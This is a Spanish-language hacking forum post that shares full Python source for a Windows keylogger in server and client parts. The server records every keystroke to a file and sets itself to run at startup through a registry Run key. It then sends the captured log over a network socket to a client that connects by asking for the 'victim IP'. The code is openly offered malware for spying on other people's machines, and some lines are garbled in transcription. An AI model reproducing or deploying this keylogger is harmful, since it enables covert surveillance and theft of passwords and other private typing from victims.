comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Python keylogger - by "bLiNdFiR3"

  • 0 Respuestas
  • 2061 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado d33k40

  • *
  • Underc0der
  • Mensajes: 94
  • Actividad:
    0%
  • Reputación 0
  • En la tierra de los ciegos, el tuerto es el rey.
    • Ver Perfil
    • Email
« en: Abril 07, 2010, 03:30:22 am »
Buenas, ahora os dejo un keylogger en python :)  ;D

Post original: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Server:

Código: Python
  1. """
  2. Server Version
  3. *KeyLogger.pyw
  4. *Log all key strokes from victim machine
  5. Features:
  6. -Text File Transfer
  7. -Version 1.2
  8. """
  9. import os
  10. import string
  11. import sys
  12. import win32api
  13. import socket
  14. from _winreg import *
  15. def body():
  16.       try:
  17.          socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18.          socket1.bind((socket.gethostname(), 902))
  19.          socket1.listen(5)
  20.          conn, addr = socket1.accept()
  21.       except socket.error:
  22.          print "error with sockets"
  23.       else:  
  24.         try:
  25.            keylog_file = open("C:\\keylog_file.txt","w")
  26.         except IOError:
  27.            print "Error grabbing file"
  28.         else:
  29.          while 1:
  30.             keyAscii = 0
  31.             for i in range(32, 256):
  32.                 key_log = win32api.GetAsyncKeyState(i)
  33.                 if key_log == -32767:
  34.                   print i
  35.                   key_end = 81
  36.                   keylog_file.write(chr(i))
  37.                   if i == key_end:
  38.                      keylog_file.close()
  39.                      keyin = open("C:\\keylog_file.txt","r")
  40.                      data = keyin.read()
  41.                      conn.send(data)
  42. def regwrite():
  43.    aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
  44.    aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  45.    aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
  46.    SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\your_project_name_here.pyw")
  47.    CloseKey(aKey)
  48.    CloseKey(aReg)
  49. if     ==  '':
  50.        class mainexecution:
  51.          regwrite()
  52.          body()

Cliente:

Código: Python
  1. """
  2. Client Version
  3. *Client.py
  4. *Log all key strokes from victim machine
  5. Features:
  6. -Text File Transfer
  7. -Help
  8. -About
  9. -Version 1.2
  10. """
  11. import socket
  12. import os
  13. def body():
  14.       print "AciD Ice Client V-1.1"
  15.       victim_IP = raw_input ("please input an IP to connect to ")
  16.       host = victim_IP
  17.       port = 902
  18.       addr = (victim_IP, 902)
  19.       try:
  20.         socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  21.         socket1.connect(addr)
  22.       except socket.error:  
  23.         print "failure to connect"
  24.       else:
  25.         print "connection Made to remote host =]"
  26.         try:
  27.           file = open("C:\\key_log_file2.txt","w")
  28.         except IOError:
  29.           print "error in file"
  30.         else:
  31.           logging()  
  32.           data = socket1.recv(1024)
  33.           print data
  34.           file.write(data)
  35.           file.close()
  36. def logging():
  37.     print "Logging keys..."
  38.     print "------------------------------"
  39. if     ==  '':
  40.     class mainprog:  
  41.        body()

Saludos ;) ;D 8)
« Última modificación: Mayo 03, 2014, 02:59:12 am por Flemon »

 

¿Te gustó el post? COMPARTILO!



[Código] Yardas a metros - Metros a yardas [Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1421
Último mensaje Mayo 29, 2011, 01:27:34 am
por LucaSthefano
[Código] Entero / No Entero [Ejercicio - Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1390
Último mensaje Mayo 29, 2011, 01:24:09 am
por LucaSthefano
[VIDEOTUTORIAL] Aprende a crear programas en Python paso a paso

Iniciado por akame_night_raid

Respuestas: 12
Vistas: 6600
Último mensaje Noviembre 24, 2016, 07:37:14 pm
por zaphiel
[Introducción+código] Introducción al Manejo de Bases de Datos MySQL en Python

Iniciado por blozzter

Respuestas: 2
Vistas: 1718
Último mensaje Noviembre 04, 2011, 06:05:29 pm
por blozzter
Como crear un ejecutable [.exe] de Python para poderlo ejecutar en Windows

Iniciado por [Z]tuX

Respuestas: 2
Vistas: 5432
Último mensaje Mayo 28, 2011, 12:18:29 pm
por Gh0st.C